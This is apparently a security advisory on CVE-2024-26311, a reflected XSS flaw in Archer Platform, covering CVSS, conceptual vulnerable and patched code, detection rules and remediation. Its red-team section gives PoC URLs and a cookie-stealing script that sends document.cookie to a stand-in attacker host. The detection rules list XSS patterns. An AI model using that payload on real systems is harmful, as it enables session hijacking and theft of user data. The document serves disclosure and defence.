CVE-2024-26311

Executive Summary

CVE-2024-26311 is a reflected Cross-Site Scripting (XSS) vulnerability in Archer Platform versions 6.x prior to 6.14 P2 HF1 (6.14.0.2.1). An authenticated attacker with a valid Archer user account can craft a malicious link containing JavaScript code. When a victim user clicks this link, the malicious script is reflected back to the victim's browser and executed in the context of the Archer application. This can lead to session hijacking, data theft, or unauthorized actions performed on behalf of the victim. The vulnerability has a CVSS score of 5.7 (Medium) and currently has no known public exploit code or active exploitation campaigns. The vendor has released a hotfix to address this issue.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects the proprietary Archer Platform enterprise software.

CVSS Breakdown & Threat Level

• CVSS Score: 5.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network (N) - The attack can be launched remotely over a network.
• Attack Complexity (AC): Low (L) - No special conditions are required for the attack.
• Privileges Required (PR): Low (L) - The attacker needs a valid Archer user account.
• User Interaction (UI): Required (R) - The victim must click on the malicious link.
• Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) - Limited information disclosure is possible.
• Integrity (I): Low (L) - Limited modification of data is possible.
• Availability (A): Low (L) - Limited impact on availability is possible.

Threat Level: Medium. While the CVSS score is moderate, the requirement for authentication and user interaction reduces the immediate risk. However, in a multi-tenant or collaborative Archer environment, the potential for internal attacks is significant.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS flaw. The Archer Platform fails to properly sanitize user-supplied input before reflecting it back in an HTTP response. An authenticated attacker can inject malicious JavaScript code into a parameter of a legitimate Archer URL. When a victim user (who is also authenticated to Archer) clicks on this crafted link, the server processes the request and includes the malicious script in the response. The victim's browser then executes the script as if it originated from the trusted Archer domain.

Attack Flow:

1. Attacker Preparation: The attacker, authenticated to Archer, crafts a URL like: https://archer-instance.com/application.aspx?view=1&id=1&<script>malicious_code</script>
2. Social Engineering: The attacker sends this link to a victim user via email, chat, or other means.
3. Victim Action: The victim, also authenticated to Archer, clicks the link.
4. Reflection: The Archer server processes the request and includes the <script> tag in the HTML response.
5. Execution: The victim's browser executes the malicious JavaScript in the context of the Archer application.
6. Impact: The script can steal session cookies, perform actions on behalf of the victim (e.g., modify data, create new users), or redirect the victim to a phishing page.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely directly outputs user input into the HTML response without encoding.

// Vulnerable ASP.NET code
string userInput = Request.QueryString["id"];
Response.Write("<div>You selected item: " + userInput + "</div>");

Patched Code (Conceptual): The patched code properly encodes the user input before rendering it in the HTML.

// Patched ASP.NET code
string userInput = Request.QueryString["id"];
string encodedInput = HttpUtility.HtmlEncode(userInput);
Response.Write("<div>You selected item: " + encodedInput + "</div>");

The actual fix in Archer 6.14 P2 HF1 involves implementing proper output encoding across all user-controlled input points.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Archer Platform version (e.g., 6.14 P1) in a controlled environment.
2. Create two test users: attacker and victim.
3. Log in as attacker.

Exploitation Steps:

1. Identify a parameter that reflects user input. Common targets include search fields, error messages, or view parameters.
2. Craft a proof-of-concept URL:

   https://archer-instance.com/default.aspx?<script>alert('XSS')</script>
   

3. Send this URL to the victim user.
4. When the victim clicks the link, an alert box with "XSS" will appear, confirming the vulnerability.
5. For a more impactful exploit, use a payload to steal cookies:

   <script>document.location='https://attacker-server.com/steal?cookie='+document.cookie</script>
   

Blue Team

Detection Steps:

1. Monitor web server logs for unusual parameters containing <script>, onerror=, javascript:, or other XSS patterns.
2. Look for multiple requests from the same source IP to different Archer pages with similar malicious parameters.
3. Analyze network traffic for outbound connections to unknown or suspicious domains originating from user browsers.
4. Review Archer application logs for failed login attempts or unusual activity following a potential XSS attack.

Hunting Queries:

• Search for HTTP requests with parameters containing %3Cscript%3E (URL-encoded <script>).
• Look for Referer headers that are not from the expected Archer domain.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in query parameters.
  • Outbound connections to attacker-controlled domains from user browsers.
  • Unusual Referer headers in Archer requests.
• Host IOCs:
  • Web server logs showing requests with XSS payloads.
  • Browser history or cache entries for malicious Archer URLs.
• Application IOCs:
  • Unexpected JavaScript execution in the Archer interface.
  • Unauthorized changes to Archer data or configurations.
  • New user accounts created by non-admin users.

Detection Engineering

YARA Rule

rule Detect_Archer_XSS_Payload {
    meta:
        description = "Detects potential XSS payloads in Archer Platform URLs"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-26311"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "javascript:" nocase
        $xss4 = "onload=" nocase
        $xss5 = "alert(" nocase
    condition:
        any of them
}

Sigma Rule

title: Archer Platform Reflected XSS Attempt
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects potential reflected XSS attacks against Archer Platform
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-26311
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'onload='
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in application parameters (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26311 Archer Platform Reflected XSS Attempt"; flow:to_server,established; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26311 Archer Platform XSS Payload Detected"; flow:to_server,established; pcre:"/(<script|onerror=|javascript:|onload=|alert\()/i"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Archer Platform 6.14 P2 HF1 (6.14.0.2.1) or later. This is the only complete fix.
2. Web Application Firewall (WAF): Deploy or update WAF rules to block common XSS patterns in HTTP requests.
3. Input Validation: Implement strict input validation on all user-controlled parameters.
4. Output Encoding: Ensure all user-supplied data is properly encoded before being rendered in HTML.

Long-Term Measures:

1. Security Awareness: Train users to recognize and avoid phishing links, especially those containing suspicious URLs.
2. Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if a vulnerability exists.
3. Regular Security Audits: Conduct periodic penetration testing and code reviews to identify and fix similar vulnerabilities.
4. Least Privilege: Ensure users have only the minimum necessary permissions within Archer.

Workarounds (if patching is not immediately possible):

• Disable or restrict access to the vulnerable Archer instance until the patch can be applied.
• Use a reverse proxy to inspect and sanitize HTTP requests.

Valters IT